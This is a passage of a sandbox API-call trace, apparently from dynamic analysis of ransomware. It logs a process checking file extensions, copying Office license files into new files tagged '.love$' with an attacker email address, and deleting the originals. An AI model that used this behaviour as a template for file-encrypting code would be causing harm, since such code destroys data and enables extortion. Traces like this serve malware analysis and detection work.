Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.829] lstrlenW (lpString=".jpg") returned 4 [0273.829] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.829] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.830] lstrlenW (lpString="O365BusinessR_SubTest-pl.xrm-ms") returned 31 [0273.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.191] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11175) returned 1 [0274.191] CloseHandle (hObject=0x454) returned 1 [0274.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220 [0274.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.192] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.192] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.194] GetLastError () returned 0x0 [0274.194] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0274.196] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0274.198] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.198] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x112, lpOverlapped=0x0) returned 1 [0274.198] SetEndOfFile (hFile=0x488) returned 1 [0274.198] CloseHandle (hObject=0x488) returned 1 [0274.198] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.198] SetEndOfFile (hFile=0x454) returned 1 [0274.203] CloseHandle (hObject=0x454) returned 1 [0274.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1 [0274.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.205] lstrlenW (lpString=".doc") returned 4 [0274.205] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.205] lstrlenW (lpString=".docx") returned 5 [0274.205] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.205] lstrlenW (lpString=".pdf") returned 4 [0274.205] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.205] lstrlenW (lpString=".xls") returned 4 [0274.205] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.205] lstrlenW (lpString=".xlsx") returned 5 [0274.205] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.205] lstrlenW (lpString=".ppt") returned 4 [0274.205] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.205] lstrlenW (lpString=".zip") returned 4 [0274.205] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.205] lstrlenW (lpString=".rar") returned 4 [0274.205] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.205] lstrlenW (lpString=".bz2") returned 4 [0274.206] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString=".7z") returned 3 [0274.206] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.206] lstrlenW (lpString=".dbf") returned 4 [0274.206] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.206] lstrlenW (lpString=".1cd") returned 4 [0274.206] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.206] lstrlenW (lpString=".jpg") returned 4 [0274.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.206] lstrlenW (lpString=".doc") returned 4 [0274.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString=".docx") returned 5 [0274.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.206] lstrlenW (lpString=".pdf") returned 4 [0274.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString=".xls") returned 4 [0274.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString=".xlsx") returned 5 [0274.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.206] lstrlenW (lpString=".ppt") returned 4 [0274.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.207] lstrlenW (lpString=".zip") returned 4 [0274.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.207] lstrlenW (lpString=".rar") returned 4 [0274.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.207] lstrlenW (lpString=".bz2") returned 4 [0274.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.207] lstrlenW (lpString=".7z") returned 3 [0274.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.207] lstrlenW (lpString=".dbf") returned 4 [0274.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.207] lstrlenW (lpString=".1cd") returned 4 [0274.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0274.207] lstrlenW (lpString=".jpg") returned 4 [0274.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.207] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.207] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0274.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.209] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=23207) returned 1 [0274.209] CloseHandle (hObject=0x454) returned 1 [0274.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0274.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.210] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.210] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.211] GetLastError () returned 0x0 [0274.211] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x5aa7, lpOverlapped=0x0) returned 1 [0274.214] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5ab0, lpOverlapped=0x0) returned 1 [0274.216] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.217] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x12a, lpOverlapped=0x0) returned 1 [0274.217] SetEndOfFile (hFile=0x488) returned 1 [0274.217] CloseHandle (hObject=0x488) returned 1 [0274.217] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.217] SetEndOfFile (hFile=0x454) returned 1 [0274.222] CloseHandle (hObject=0x454) returned 1 [0274.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0274.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.224] lstrlenW (lpString=".doc") returned 4 [0274.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.224] lstrlenW (lpString=".docx") returned 5 [0274.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.224] lstrlenW (lpString=".pdf") returned 4 [0274.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.224] lstrlenW (lpString=".xls") returned 4 [0274.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString=".xlsx") returned 5 [0274.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.225] lstrlenW (lpString=".ppt") returned 4 [0274.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.225] lstrlenW (lpString=".zip") returned 4 [0274.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString=".rar") returned 4 [0274.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString=".bz2") returned 4 [0274.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString=".7z") returned 3 [0274.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.225] lstrlenW (lpString=".dbf") returned 4 [0274.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.225] lstrlenW (lpString=".1cd") returned 4 [0274.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.225] lstrlenW (lpString=".jpg") returned 4 [0274.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.225] lstrlenW (lpString=".doc") returned 4 [0274.226] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString=".docx") returned 5 [0274.226] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.226] lstrlenW (lpString=".pdf") returned 4 [0274.226] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString=".xls") returned 4 [0274.226] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString=".xlsx") returned 5 [0274.226] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.226] lstrlenW (lpString=".ppt") returned 4 [0274.226] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.226] lstrlenW (lpString=".zip") returned 4 [0274.226] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString=".rar") returned 4 [0274.226] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString=".bz2") returned 4 [0274.226] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString=".7z") returned 3 [0274.226] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.226] lstrlenW (lpString=".dbf") returned 4 [0274.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.226] lstrlenW (lpString=".1cd") returned 4 [0274.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0274.226] lstrlenW (lpString=".jpg") returned 4 [0274.227] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.227] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.227] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0274.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.228] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11674) returned 1 [0274.228] CloseHandle (hObject=0x454) returned 1 [0274.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0274.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.229] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.229] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.231] GetLastError () returned 0x0 [0274.231] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0274.456] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0274.458] ReadFile (in: hFile=0x454, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.458] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x130, lpOverlapped=0x0) returned 1 [0274.459] SetEndOfFile (hFile=0x488) returned 1 [0274.459] CloseHandle (hObject=0x488) returned 1 [0274.459] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.459] SetEndOfFile (hFile=0x454) returned 1 [0274.462] CloseHandle (hObject=0x454) returned 1 [0274.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0274.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.466] lstrlenW (lpString=".doc") returned 4 [0274.466] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString=".docx") returned 5 [0274.467] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.467] lstrlenW (lpString=".pdf") returned 4 [0274.467] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString=".xls") returned 4 [0274.467] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString=".xlsx") returned 5 [0274.467] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.467] lstrlenW (lpString=".ppt") returned 4 [0274.467] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.467] lstrlenW (lpString=".zip") returned 4 [0274.467] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString=".rar") returned 4 [0274.467] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString=".bz2") returned 4 [0274.467] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString=".7z") returned 3 [0274.467] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.467] lstrlenW (lpString=".dbf") returned 4 [0274.467] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.467] lstrlenW (lpString=".1cd") returned 4 [0274.467] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.467] lstrlenW (lpString=".jpg") returned 4 [0274.467] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.468] lstrlenW (lpString=".doc") returned 4 [0274.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString=".docx") returned 5 [0274.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.468] lstrlenW (lpString=".pdf") returned 4 [0274.468] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString=".xls") returned 4 [0274.468] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString=".xlsx") returned 5 [0274.468] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.468] lstrlenW (lpString=".ppt") returned 4 [0274.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0274.468] lstrlenW (lpString=".zip") returned 4 [0274.468] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.468] lstrlenW (lpString=".rar") returned 4 [0274.468] lstrcmpiW 